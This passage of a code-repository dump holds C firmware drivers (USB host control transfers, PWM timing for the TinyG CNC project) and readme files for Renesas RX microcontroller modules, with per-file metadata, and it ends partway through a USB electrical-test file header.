(uint16_t)USB_PIPE0);\n /* PID=NAK & clear STALL */\n usb_cstd_ClrStall(ptr, (uint16_t)USB_PIPE0);\n if(ptr -> ip == USB_USBIP_0)\n {\n usb_creg_set_mbw( ptr, USB_CUSE, USB0_CFIFO_MBW );\n }\n else if (ptr -> ip == USB_USBIP_1)\n {\n usb_creg_set_mbw( ptr, USB_CUSE, USB1_CFIFO_MBW );\n }\n /* CSCLR=1, SUREQ=1, SQCLR=1, PID=NAK */\n usb_hreg_write_dcpctr( ptr, (uint16_t)(USB_CSCLR|USB_SUREQCLR|USB_SQCLR) );\n /* CFIFO buffer clear */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n /* Clear BVAL */\n usb_creg_set_bclr( ptr, USB_CUSE );\n\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, (uint16_t)USB_ISEL);\n /* Clear BVAL */\n usb_creg_set_bclr( ptr, USB_CUSE );\n\n /* Host Control sequence */\n if( (Status != USB_CTRL_READING) && (Status != USB_CTRL_WRITING) )\n {\n /* Next stage is idle */\n usb_ghstd_Ctsq[ptr->ip] = USB_IDLEST;\n }\n\n usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->status = Status;\n usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->pipectr = usb_creg_read_pipectr(ptr, (uint16_t)USB_PIPE0);\n usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->errcnt = (uint8_t)usb_ghstd_IgnoreCnt[ptr->ip][USB_PIPE0];\n\n usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->ipp = ptr->ipp;\n usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->ip = ptr->ip;\n\n /* Callback */\n if( USB_NULL != usb_gcstd_Pipe[ptr->ip][USB_PIPE0] )\n {\n if( USB_NULL != (usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->complete) )\n {\n /* Process Done Callback */\n (usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->complete)(usb_gcstd_Pipe[ptr->ip][USB_PIPE0], 0, 0);\n }\n }\n usb_gcstd_Pipe[ptr->ip][USB_PIPE0] = (USB_UTR_t*)USB_NULL;\n\n#ifdef USB_HOST_COMPLIANCE_MODE\n usb_creg_clr_enb_sofe( ptr );\n#endif /* USB_HOST_COMPLIANCE_MODE */\n\n}\n/******************************************************************************\nEnd of function usb_hstd_ControlEnd\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_SetupStart\nDescription : Start control transfer setup stage. (Set global function re-\n : quired to start control transfer, and USB register).\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_SetupStart(USB_UTR_t *ptr)\n{\n uint16_t segment;\n uint16_t dir, setup_req, setup_val, setup_indx, setup_leng;\n uint16_t *p_setup;\n\n segment = (uint16_t)(usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->segment);\n p_setup = usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->setup;\n /* Set Request data */\n setup_req = *p_setup++;\n /* Set wValue data */\n setup_val = *p_setup++;\n /* Set wIndex data */\n setup_indx = *p_setup++;\n /* Set wLength data */\n setup_leng = *p_setup++;\n\n /* Max Packet Size + Device Number select */\n usb_creg_write_dcpmxps( ptr, usb_ghstd_DcpRegister[ptr->ip][*p_setup] );\n\n /* Transfer Length check */\n\n /* Check Last flag */\n if( segment == (uint16_t)USB_TRAN_END )\n {\n if( usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->tranlen < setup_leng )\n {\n setup_leng = (uint16_t)usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->tranlen;\n }\n }\n if( setup_leng < usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->tranlen )\n {\n usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->tranlen = (uint32_t)setup_leng;\n }\n\n /* Control sequence setting */\n dir = (uint16_t)(setup_req & USB_BMREQUESTTYPEDIR);\n /* Check wLength field */\n if( setup_leng == 0 )\n {\n /* Check Dir field */\n if( dir == 0 )\n {\n /* Check Last flag */\n if( segment == (uint16_t)USB_TRAN_END )\n {\n /* Next stage is NoData control status stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_SETUPNDC;\n }\n else\n {\n /* Error */\n usb_ghstd_Ctsq[ptr->ip] = USB_IDLEST;\n }\n }\n else\n {\n /* Error */\n usb_ghstd_Ctsq[ptr->ip] = USB_IDLEST;\n }\n }\n else\n {\n /* Check Dir field */\n if( dir == 0 )\n {\n /* Check Last flag */\n if( segment == (uint16_t)USB_TRAN_END )\n {\n /* Next stage is Control Write data stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_SETUPWR;\n }\n else\n {\n /* Next stage is Control Write data stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_SETUPWRCNT;\n }\n }\n else\n {\n /* Check Last flag */\n if( segment == (uint16_t)USB_TRAN_END )\n {\n /* Next stage is Control read data stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_SETUPRD;\n }\n else\n {\n /* Next stage is Control read data stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_SETUPRDCNT;\n }\n }\n }\n\n /* Control transfer idle stage? */\n if( usb_ghstd_Ctsq[ptr->ip] == USB_IDLEST )\n {\n /* Control Read/Write End */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_STOP);\n }\n else\n {\n /* SETUP request set */\n /* Set Request data */\n usb_hreg_write_usbreq( ptr, setup_req );\n\n usb_hreg_set_usbval( ptr, setup_val );\n usb_hreg_set_usbindx( ptr, setup_indx );\n usb_hreg_set_usbleng( ptr, setup_leng );\n\n /* Ignore count clear */\n usb_ghstd_IgnoreCnt[ptr->ip][USB_PIPE0] = (uint16_t)0;\n\n usb_hreg_clr_sts_sign( ptr );\n usb_hreg_clr_sts_sack( ptr );\n usb_hreg_set_enb_signe( ptr );\n usb_hreg_set_enb_sacke( ptr );\n usb_hreg_set_sureq( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_SetupStart\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.631654679775238, "alphanum_fraction": 0.6441246867179871, "avg_line_length": 21.397850036621094, "blob_id": "d23da4651ab0a1bea7d7356cefc2cb372adf59dc", "content_id": "c660176b7903481099d55135a3ddb2feae083c8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 2085, "license_type": "no_license", "max_line_length": 81, "num_lines": 93, "path": "/r_byteq/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "\nr_byteq\n=======\n\nDocument Number \n---------------\nR01AN1683EU0140\n\nVersion\n-------\nv1.40\n\nOverview\n--------------------------------------------------------------------------------\nThe r_byteq module is a collection of circular buffer routines for byte data.\nThe application passes a buffer to be used as a circular buffer to the Open() \nfunction which assigns a queue control block to it to handle indexing. The \nOpen() function returns a handle which is then used as a queue/buffer id for all \nother API functions. These functions include routines for adding and removing \ndata from a queue, inspecting the amount of data in a queue, and the ability to \nflush a queue.\n\nThe queue control blocks can be allocated at compile time or dynamically at run\ntime. A configuration option for this exists in \"r_config\\r_byteq_config.h\".\nAn original copy of the configuration file is stored in \"r_byteq\\ref\\\nr_byteq_config_reference.h\".\n\n\nFeatures\n--------\n* Statically or dynamically allocated queue control blocks.\n* Number of queues limited only by the amount of RAM available on the mcu.\n\n\nSupported MCUs\n--------------\nN/A\n\n\nBoards Tested On\n----------------\nN/A\n\n\nLimitations\n-----------\n* For byte data only.\n\n\nPeripherals Used Directly\n-------------------------\nN/A\n\n\nRequired Packages\n-----------------\n* None\n\n\nHow to add to your project\n--------------------------\n* Add the r_byteq and r_config folders to your project.\n* Add a project include path for the 'r_byteq' directory. \n* Add a project include path for the 'r_byteq\\src' directory.\n* Add a project include path for the 'r_config' directory.\n* Open \"r_config\\r_byteq_config.h\" file and configure the driver for your \n project.\n* Add a #include for r_byteq_if.h to any source files that need to use the \n API functions.\n\n\nToolchain(s) Used\n-----------------\n* Renesas RX v2.02\n\n\nFile Structure\n--------------\nr_byteq\n| readme.txt\n| r_byteq_if.h\n|\n+---doc\n| r01an1683eu0140_rx.pdf\n|\n+---ref\n| r_byteq_config_reference.h\n|\n+---src\n r_byteq.c\n r_byteq_private.h\n \nr_config\n r_byteq_config.h\n\n" }, { "alpha_fraction": 0.6253886222839355, "alphanum_fraction": 0.6601036190986633, "avg_line_length": 21.395349502563477, "blob_id": "769a12cc8151a340a8a935faf209c010c73ef06d", "content_id": "737dc96c085b711118768eaaa517b6232b751b1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1936, "license_type": "no_license", "max_line_length": 118, "num_lines": 86, "path": "/r_mtu_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE, \"r01an2329eu0100_rx_family.pdf\", FOR MORE INFORMATION\n\nr_mtu_rx\n=========\n\nDocument Number \n---------------\nR01AN2329EU0100\n\nVersion\n-------\nv1.00\n\nOverview\n--------\nThis software provides an applications programing interface (API) for using the Multi-Function Timer Pulse Unit 2 \n(MTU2a) peripheral of supported RX Family microcontrollers. This API is designed to make it easy to add timing \noperations to your application software by providing a highly abstracted, use-case oriented interface to the \nhardware. Rather than referring to hardware specific register names and internal control bits, this API lets you \nset up your timing operations in terms of ‘what you want to do’. \n\nFeatures\n--------\n* Timer Function and Compare Match or Output Compare \n* Input Capture\n* PWM modes 1 and 2\n\nSupported/Tested MCUs\n--------------\n* RX63N\n* RX210\n* RX111\n* RX110\n\n\nBoards Tested On\n----------------\n* RDKRX63N\n* RSKRX210\n* RSKRX110\n* RSKRX111\n\n\nLimitations\n-----------\n* MTU2a channel 5 not supported\n\nPeripherals Used Directly\n-------------------------\n* MTU2a\n\nRequired Packages\n-----------------\n* r_bsp v2.50 or higher\n\n\nHow to add to your project\n--------------------------\n* Add folder \"r_mtu_rx\\\" to your project.\n*...\n\n* Copy the reference configuration file 'r_mtu_rx_config_reference.h' to your project and rename it r_mtu_rx_config.h.\n* Configure the MTU module options for your system using the just copied r_mtu_rx_config.h.\n* Add a #include for r_mtu_rx_if.h to any source files that need to use the API functions.\n\nToolchain(s) Used\n-----------------\n* Renesas RX v2.0x\n\nFile Structure\n--------------\nr_mtu_rx\n| readme.txt\n| r_mtu_rx_if.h\n|\n+---doc\n| r01an2329eu0100_rx_family.pdf\n|\n+---ref\n| r_mtu_rx_config_reference.h\n|\n+---src\n| r_mtu_rx_common.c\n| r_mtu_timers_rx.c\n| r_mtu_pwm_rx.c\n| r_mtu_rx_private.h\n\n\n\n\n" }, { "alpha_fraction": 0.6324265599250793, "alphanum_fraction": 0.659303605556488, "avg_line_length": 34.21072769165039, "blob_id": "d6993479442a83c9880f0a4d91a81e8ba9763a80", "content_id": "bafb413b080d47d5e4fa3a714ea0a96a5cd94f0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9190, "license_type": "no_license", "max_line_length": 99, "num_lines": 261, "path": "/src/cnc/pwm.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * pwm.c - pulse width modulation drivers\n * This file is part of the TinyG project\n *\n * Copyright (c) 2012 - 2015 Alden S. Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#include \"tinyg.h\"\t\t// #1\n#include \"config.h\"\t\t// #2\n#include \"hardware.h\"\n#include \"text_parser.h\"\n#include \"gpio.h\"\n#include \"pwm.h\"\n\n#ifdef __AVR\n#include <avr/interrupt.h>\n#endif\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n/***** PWM defines, structures and memory allocation *****/\n\npwmSingleton_t pwm;\n\n// defines common to all PWM channels\n//#define PWM_TIMER_TYPE\tTC1_struct\t// PWM uses TC1's\n#define PWM_TIMER_t\tTC1_t\t\t\t\t// PWM uses TC1's\n#define PWM_TIMER_DISABLE 0\t\t\t\t// turn timer off (clock = 0 Hz)\n#define PWM_MAX_FREQ (F_CPU/256)\t\t// max frequency with 8-bits duty cycle precision\n#define PWM_MIN_FREQ (F_CPU/64/65536)\t// min frequency with supported prescaling\n\n// channel specific defines\n/* CLKSEL is used to configure default PWM clock operating ranges\n * These can be changed by pwm_freq() depending on the PWM frequency selected\n *\n * The useful ranges (assuming a 32 Mhz system clock) are:\n *\t TC_CLKSEL_DIV1_gc - good for about 500 Hz to 125 Khz practical upper limit\n * TC_CLKSEL_DIV2_gc - good for about 250 Hz to 62 KHz\n *\t TC_CLKSEL_DIV4_gc - good for about 125 Hz to 31 KHz\n *\t TC_CLKSEL_DIV8_gc - good for about 62 Hz to 16 KHz\n *\t TC_CLKSEL_DIV64_gc - good for about 8 Hz to 2 Khz\n */\n#define PWM1_CTRLA_CLKSEL\tTC_CLKSEL_DIV1_gc\t// starting clock select value\n#define PWM1_CTRLB \t\t\t(3 | TC0_CCBEN_bm)\t// single slope PWM enabled on channel B\n#define PWM1_ISR_vect \t\tTCD1_CCB_vect\t\t// must match timer assignments in system.h\n#define PWM1_INTCTRLB\t\t0\t\t\t\t\t// timer interrupt level (0=off, 1=lo, 2=med, 3=hi)\n\n#define PWM2_CTRLA_CLKSEL \tTC_CLKSEL_DIV1_gc\n#define PWM2_CTRLB \t\t\t3\t\t\t\t\t// single slope PWM enabled, no output channel\n//#define PWM2_CTRLB \t\t(3 | TC0_CCBEN_bm)\t// single slope PWM enabled on channel B\n#define PWM2_ISR_vect\t\tTCE1_CCB_vect\t\t// must match timer assignments in system.h\n#define PWM2_INTCTRLB\t\t0\t\t\t\t\t// timer interrupt level (0=off, 1=lo, 2=med, 3=hi)\n\n/***** PWM code *****/\n/*\n * pwm_init() - initialize pwm channels\n *\n *\tNotes:\n *\t - Whatever level interrupts you use must be enabled in main()\n *\t - init assumes PWM1 output bit (D5) has been set to output previously (stepper.c)\n *\t - See system.h for timer and port assignments\n * - Don't do this: memset(&TIMER_PWM1, 0, sizeof(PWM_TIMER_t)); // zero out the timer registers\n */\nvoid pwm_init()\n{\n#ifdef __AVR\n\tgpio_set_bit_off(SPINDLE_PWM);\n\n\t// setup PWM channel 1\n\tmemset(&pwm.p[PWM_1], 0, sizeof(pwmChannel_t));\t\t// clear parent structure\n\tpwm.p[PWM_1].timer = &TIMER_PWM1;\t\t\t\t\t// bind timer struct to PWM struct array\n\tpwm.p[PWM_1].ctrla = PWM1_CTRLA_CLKSEL;\t\t\t\t// initialize starting clock operating range\n\tpwm.p[PWM_1].timer->CTRLB = PWM1_CTRLB;\n\tpwm.p[PWM_1].timer->INTCTRLB = PWM1_INTCTRLB;\t\t// set interrupt level\n\n\t// setup PWM channel 2\n\tmemset(&pwm.p[PWM_2], 0, sizeof(pwmChannel_t));\t\t// clear all values, pointers and status\n\tpwm.p[PWM_2].timer = &TIMER_PWM2;\n\tpwm.p[PWM_2].ctrla = PWM2_CTRLA_CLKSEL;\n\tpwm.p[PWM_2].timer->CTRLB = PWM2_CTRLB;\n\tpwm.p[PWM_2].timer->INTCTRLB = PWM2_INTCTRLB;\n#endif // __AVR\n}\n\n/*\n * ISRs for PWM timers\n */\n#ifdef __AVR\nISR(PWM1_ISR_vect)\n{\n\treturn;\n}\n\nISR(PWM2_ISR_vect)\n{\n\treturn;\n}\n#endif // __AVR\n/*\n#ifdef __ARM\nMOTATE_TIMER_INTERRUPT\nISR(PWM1_ISR_vect)\n{\n\treturn;\n}\n\nISR(PWM2_ISR_vect)\n{\n\treturn;\n}\n#endif // __ARM\n*/\n/*\n * pwm_set_freq() - set PWM channel frequency\n *\n *\tchannel\t- PWM channel\n *\tfreq\t- PWM frequency in Khz as a float\n *\n *\tAssumes 32MHz clock.\n *\tDoesn't turn time on until duty cycle is set\n */\n\nstat_t pwm_set_freq(uint8_t chan, float freq)\n{\n\tif (chan > PWMS) { return (STAT_NO_SUCH_DEVICE);}\n\tif (freq > PWM_MAX_FREQ) { return (STAT_INPUT_EXCEEDS_MAX_VALUE);}\n\tif (freq < PWM_MIN_FREQ) { return (STAT_INPUT_LESS_THAN_MIN_VALUE);}\n\n#ifdef __AVR\n\t// set the period and the prescaler\n\tfloat prescale = F_CPU/65536/freq;\t// optimal non-integer prescaler value\n\tif (prescale <= 1) {\n\t\tpwm.p[chan].timer->PER = F_CPU/freq;\n\t\tpwm.p[chan].timer->CTRLA = TC_CLKSEL_DIV1_gc;\n\t} else if (prescale <= 2) {\n\t\tpwm.p[chan].timer->PER = F_CPU/2/freq;\n\t\tpwm.p[chan].timer->CTRLA = TC_CLKSEL_DIV2_gc;\n\t} else if (prescale <= 4) {\n\t\tpwm.p[chan].timer->PER = F_CPU/4/freq;\n\t\tpwm.p[chan].timer->CTRLA = TC_CLKSEL_DIV4_gc;\n\t} else if (prescale <= 8) {\n\t\tpwm.p[chan].timer->PER = F_CPU/8/freq;\n\t\tpwm.p[chan].timer->CTRLA = TC_CLKSEL_DIV8_gc;\n\t} else {\n\t\tpwm.p[chan].timer->PER = F_CPU/64/freq;\n\t\tpwm.p[chan].timer->CTRLA = TC_CLKSEL_DIV64_gc;\n\t}\n#endif // __AVR\n\n#ifdef __ARM\n\tif (chan == PWM_1) {\n\t\tspindle_pwm_pin.setFrequency(freq);\n\t} else if (chan == PWM_2) {\n\t\tsecondary_pwm_pin.setFrequency(freq);\n\t}\n#endif // __ARM\n\n\treturn (STAT_OK);\n}\n\n/*\n * pwm_set_duty() - set PWM channel duty cycle\n *\n *\tchannel\t- PWM channel\n *\tduty\t- PWM duty cycle from 0% to 100%\n *\n *\tSetting duty cycle to 0 disables the PWM channel with output low\n *\tSetting duty cycle to 100 disables the PWM channel with output high\n *\tSetting duty cycle between 0 and 100 enables PWM channel\n *\n *\tThe frequency must have been set previously\n */\n\nstat_t pwm_set_duty(uint8_t chan, float duty)\n{\n\tif (duty < 0.0) { return (STAT_INPUT_LESS_THAN_MIN_VALUE);}\n\tif (duty > 1.0) { return (STAT_INPUT_EXCEEDS_MAX_VALUE);}\n\n\t#ifdef __AVR\n// Ffrq = Fper/(2N(CCA+1))\n// Fpwm = Fper/((N(PER+1))\n\tfloat period_scalar = pwm.p[chan].timer->PER;\n\tpwm.p[chan].timer->CCB = (uint16_t)(period_scalar * duty) + 1;\n\t#endif // __AVR\n\n\t#ifdef __ARM\n\tif (chan == PWM_1) {\n\t\tspindle_pwm_pin = duty;\n\t} else if (chan == PWM_2) {\n\t\tsecondary_pwm_pin = duty;\n\t}\n\t#endif // __ARM\n\n\treturn (STAT_OK);\n}\n\n\n/***********************************************************************************\n * CONFIGURATION AND INTERFACE FUNCTIONS\n * Functions to get and set variables from the cfgArray table\n ***********************************************************************************/\n\n// none\n\n\n/***********************************************************************************\n * TEXT MODE SUPPORT\n * Functions to print variables from the cfgArray table\n ***********************************************************************************/\n\n#ifdef __TEXT_MODE\n\nstatic const char fmt_p1frq[] PROGMEM = \"[p1frq] pwm frequency %15.0f Hz\\n\";\nstatic const char fmt_p1csl[] PROGMEM = \"[p1csl] pwm cw speed lo %15.0f RPM\\n\";\nstatic const char fmt_p1csh[] PROGMEM = \"[p1csh] pwm cw speed hi %15.0f RPM\\n\";\nstatic const char fmt_p1cpl[] PROGMEM = \"[p1cpl] pwm cw phase lo %15.3f [0..1]\\n\";\nstatic const char fmt_p1cph[] PROGMEM = \"[p1cph] pwm cw phase hi %15.3f [0..1]\\n\";\nstatic const char fmt_p1wsl[] PROGMEM = \"[p1wsl] pwm ccw speed lo%15.0f RPM\\n\";\nstatic const char fmt_p1wsh[] PROGMEM = \"[p1wsh] pwm ccw speed hi%15.0f RPM\\n\";\nstatic const char fmt_p1wpl[] PROGMEM = \"[p1wpl] pwm ccw phase lo%15.3f [0..1]\\n\";\nstatic const char fmt_p1wph[] PROGMEM = \"[p1wph] pwm ccw phase hi%15.3f [0..1]\\n\";\nstatic const char fmt_p1pof[] PROGMEM = \"[p1pof] pwm phase off %15.3f [0..1]\\n\";\n\nvoid pwm_print_p1frq(nvObj_t *nv) { text_print_flt(nv, fmt_p1frq);}\nvoid pwm_print_p1csl(nvObj_t *nv) { text_print_flt(nv, fmt_p1csl);}\nvoid pwm_print_p1csh(nvObj_t *nv) { text_print_flt(nv, fmt_p1csh);}\nvoid pwm_print_p1cpl(nvObj_t *nv) { text_print_flt(nv, fmt_p1cpl);}\nvoid pwm_print_p1cph(nvObj_t *nv) { text_print_flt(nv, fmt_p1cph);}\nvoid pwm_print_p1wsl(nvObj_t *nv) { text_print_flt(nv, fmt_p1wsl);}\nvoid pwm_print_p1wsh(nvObj_t *nv) { text_print_flt(nv, fmt_p1wsh);}\nvoid pwm_print_p1wpl(nvObj_t *nv) { text_print_flt(nv, fmt_p1wpl);}\nvoid pwm_print_p1wph(nvObj_t *nv) { text_print_flt(nv, fmt_p1wph);}\nvoid pwm_print_p1pof(nvObj_t *nv) { text_print_flt(nv, fmt_p1pof);}\n\n#endif //__TEXT_MODE\n\n#ifdef __cplusplus\n}\n#endif\n" }, { "alpha_fraction": 0.6316872239112854, "alphanum_fraction": 0.680841326713562, "avg_line_length": 26.68987274169922, "blob_id": "33e17a9734d02363e5aa8a056658cc86fa8a5e32", "content_id": "73dd41f0d42789db01f382b0260cfa21f6c868e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 4374, "license_type": "no_license", "max_line_length": 120, "num_lines": 158, "path": "/r_bsp/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "r_bsp Package\n=============\n\nDocument Number\n---------------\nR01AN1685EU\n\nVersion\n-------\nv2.80\n\nOverview\n--------\nThe r_bsp package provides a foundation for code to be built on top of. It provides startup code, iodefines, and MCU\ninformation for different boards. There are 2 folders that make up the r_bsp package. The 'mcu' folder contains files \nthat are common to a MCU group. These files provide functionality such as easy register access, CPU functions,\nand a file named 'mcu_info.h' for each MCU group. The 'mcu_info.h' file has information about the MCU on the board\nand is configured based on the information given in r_bsp_config.h. The information in 'mcu_info.h' is used to help \nconfigure Renesas middleware that uses the r_bsp package. The 'board' folder has a folder with startup code for each \nsupported board. Which MCU and board is chosen is decided by the settings in 'platform.h'. The user can choose which \nboard they are using by uncommenting the include path that applies to their board. For example, if you are using the \nRSK+RX62N then you would uncomment the #include \"./board/rskrx62n/r_bsp.h\" include path. Users are encouraged to add \ntheir own boards to the 'board' directory. BSPs are configured by using the r_bsp_config.h file. Each board will have a \nreference configuration file named r_bsp_config_reference.h. The user should copy this file to their project, rename it \nto r_bsp_config.h, and use the options inside the file to configure the BSP for their project.\n\n\nFeatures\n--------\n* Provides foundation to build code on top of.\n* Provides MCU startup code.\n* Provides SFR access through iodefine.h\n* Stores details of MCU in 'mcu_info.h' to help configure Renesas middleware.\n* Easily configure BSP through r_bsp_config.h.\n* Choose MCU easily by inputting part number details in r_bsp_config.h.\n* Provides callbacks for MCU exceptions and the bus error interrupt.\n* Supports initializing non-bonded out pins to reduce power\n* Provides API to control CPU functions such as setting the IPL, enabling/disabling interrupts, and controlling \n register protection\n \nSupported MCUs\n--------------\n* RX110 Group\n* RX111 Group\n* RX113 Group\n* RX210 Group\n* RX21A Group\n* RX220 Group\n* RX610 Group\n* RX621, RX62N Group\n* RX62T Group\n* RX62G Group\n* RX630 Group\n* RX631, RX63N Group\n* RX63T Group \n* RX64M Group\n* RX71M Group\n\nBoards Tested On\n----------------\n* RSKRX110\n* RSKRX111\n* RSKRX113\n* RPBRX111\n* RSKRX210\n* RSKRX220\n* HSBRX21AP\n* RSKRX610\n* RSKRX62N\n* RSKRX62T\n* RSKRX62G\n* RDKRX62N\n* RSKRX630\n* RSKRX63N\n* RDKRX63N\n* RSKRX63T_64PIN\n* RSKRX63T_144PIN\n* RSKRX64M\n* RSKRX71M\n \nLimitations\n-----------\nN/A\n\nPeripherals Used Directly\n-------------------------\nN/A\n\nRequired Packages\n-----------------\nN/A\n\nHow to add to your project\n--------------------------\n* Copy the r_bsp folder to your project.\n* Add an include path to the 'r_bsp' directory. \n* Add all of the source files for your board from the 'r_bsp\\board\\--YOUR_BOARD--' directory to your project. \n* Add all of the source files for your MCU group from the 'r_bsp\\mcu\\--YOUR_MCU_GROUP--' directory to your project. \n* Add all of the source files for your MCU group from the 'r_bsp\\mcu\\all' directory to your project.\n* Uncomment the include path for your board in 'platform.h' which is located in the 'r_bsp' directory.\n* Copy the file r_bsp_config_reference.h from the 'r_bsp\\board\\--YOUR_BOARD--' directory and copy it to your project's\n source code directory. Rename the file r_bsp_config.h.\n* Open r_bsp_config.h and use the macros to configure the BSP for your project.\n\nToolchain(s) Used\n-----------------\n* Renesas RX v1.02\n* Renesas RX v2.00\n* Renesas RX v2.01\n\nFile Structure\n--------------\nr_bsp\n| platform.h \n| readme.txt\n|\n+---board\n| +---hsbrx21ap\n| +---rdkrx62n\n| +---rdkrx63n\n| +---rpbrx111\n| +---rskrx110\n| +---rskrx111\n| +---rskrx113\n| +---rskrx210\n| +---rskrx220\n| +---rskrx610\n| +---rskrx62g\n| +---rskrx62n\n| +---rskrx62t\n| +---rskrx630\n| +---rskrx63n\n| +---rskrx63t_144pin\n| +---rskrx63t_64pin\n| +---rskrx64m\n| +---rskrx71m\n| \\---user\n|\n+---doc\n| r01an1685eu0280_rx.pdf\n|\n\\---mcu\n +---all\n +---rx110\n +---rx111\n +---rx113\n +---rx210\n +---rx21a\n +---rx220\n +---rx610\n +---rx62g\n +---rx62n\n +---rx62t\n +---rx630\n +---rx63n\n +---rx63t\n +---rx64m\n \\---rx71m" }, { "alpha_fraction": 0.4717641770839691, "alphanum_fraction": 0.48701152205467224, "avg_line_length": 43.94416427612305, "blob_id": "f2de3cfdc72abc0b97722d4a67a38a78a35ab40b", "content_id": "cc8634bdf57f2fb36fb176bd47d918b91f2ed0ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8854, "license_type": "no_license", "max_line_length": 120, "num_lines": 197, "path": "/r_usb_basic/src/HW/host/r_usb_hostelectrical.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hostelectrical.c\n* Description : USB Host Electrical Test code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nFunction Name : usb_hstd_TestStop\nDescription : Host electrical test stop\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : 